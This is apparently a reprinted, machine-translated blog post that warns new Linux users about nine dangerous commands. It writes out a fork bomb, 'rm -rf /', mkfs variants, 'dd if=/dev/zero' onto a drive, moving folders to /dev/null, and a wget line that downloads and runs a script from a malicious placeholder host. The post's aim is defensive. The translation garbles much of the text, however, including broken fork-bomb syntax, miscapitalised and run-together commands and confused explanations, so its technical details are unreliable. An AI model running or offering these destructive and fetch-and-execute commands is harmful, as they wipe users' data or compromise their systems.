The Linux shell/terminal command is very powerful, even though a simple command can cause folders, files, or path folders to be deleted.
In some cases, Linux does not even ask you to execute commands directly, causing you to lose a variety of data information.
It is generally recommended that new Linux users execute these commands on the Web, and of course, someone who has written this code doesn't think so because it's not a joke when you write it down.
Here I have collected some Linux code that is harmful to the system to help you avoid them. Keep in mind that these codes are dangerous and can even be modified to become more damaging.
There are a few things to note: Some commands are dangerous only if you have sudo prefixes in Ubuntu. Other releases of Linux are harmful when used as root commands.
1. Linux Fork Bomb Command
:() {:: &}: Known as Fork Bomb, is a Linux system that denies service attacks. :() {:: &};: is a bash function. As long as it is executed, he will keep repeating until the system is frozen.
You can only restart the system to solve this problem. So when you execute this command on the Linux interface, be sure to pay attention.
2. Mv folder/dev/null Command
MV Folder/dev/null is also a dangerous command. Dev/null or NULL is a device file that deletes all data written on this device file, but the action prompt is a successful write operation. This is what we often call bit bucked or black hole.
3. RM-RF Command
The RM-RF command allows you to quickly delete a folder and its contents in a Linux system. If you don't know how to use it correctly, you only have to cry.
The most common combinations and choices for the M-RF command are listed below:
RM command: Delete files from the Linux system rm-f command: Delete the read-only file in the file Rm-r command loop to delete the contents of the folder rm-d command: Delete the empty directory, if the non-empty directory will not do the operation rm-rf/ Command: Forces the removal of all content and subfolders (including write-protected files) commands in the root directory. rm-rf* command: Forces the deletion of all content in the current directory (current working directory) and Word folder RM-RF. Command: Forces all content in the current folder directory/subdirectory to be deleted. With rm-r.[^.] *the rm-r.[^.] * Command: Delete files and folders with Delete prompt
4. Mkfs Command
If you do not know the role of MKFS, then it is also a dangerous command, MKFS after any command will be written by a blank Linux file system format, replace.
The following is a list of commands that require administrator privileges to format a hard disk: Mkfsmkfs.ext3mkfs.bfsmkfs.ext2mkfs.minixmkfs.msdos Mkfs.reiserfsmkfs.vfat
Mkfs.cramfs can also do the same thing as the above code, but does not need to manage source permissions.
5. Tar Bomb
The tar command is used to put multiple files into a file in the. tar format (archive file). Tape Archive (Tar) bomb can be created by him.
When compressed, this archive file generates tens of thousands of similar name files that appear in the current directory instead of the new directory.
You can avoid being a victim of tar bomb when you receive a tar file, create a new protection directory on a regular basis, and then place the accepted tar file in this directory before extracting it.
6. Dd Command
The DD command is used to copy & change hard disk partitions. If you use the wrong place, it's also dangerous.
The following is a list of DD commands: DD if=/dev/hda of=/dev/hdbdd if=/dev/hda of=/dev/sdbdd if=something of=/dev/hdadd if=something OF=/DEV/SDA
The following command will clear the entire primary drive 0: DD If=/dev/zero of=/dev/had
7. Shell Script Code
Sometimes, you might get a pit, give you a shell script file that lets you download and execute it. The script may contain some malicious or dangerous code. The command form may be this: wget http://some_malicious_source-o-sh. wget will download the script at the moment of the sh narrow script.
8. Malicious Source Code
Maybe someone will give you the source code to get you to compile him. The code may be normal code, but some malicious code is disguised in large source code, and if so, your system is shot. How to avoid it? Only accept and compile source code for trusted sources.
9. Decompression Bomb
You have received a compressed file and you are asked to extract this seemingly small file, which may be as small as KB. In fact, the small size of the compressed file contains highly compressed data.
As long as the file is extracted, hundreds of gigabytes of data will be extracted, at this time, too much data fills the hard drive resulting in downtime, the odds are great. How to avoid it? Or the old saying, do not hand cheap, what files are to receive, please receive trusted source files.
Reprinted from: Program English original: 9 Linux Commands & Codes to be wary of original link: http://www.techug.com/9-linux-commands-to-avoid?_biz= Mjm5ota1mduyma==&mid=407358558&idx=2&sn=b21877f23bf4063fa311185009c1f0b7&scene=0#wechat_ redirect1467278881546
9 Linux commands that must be repeated carefully before use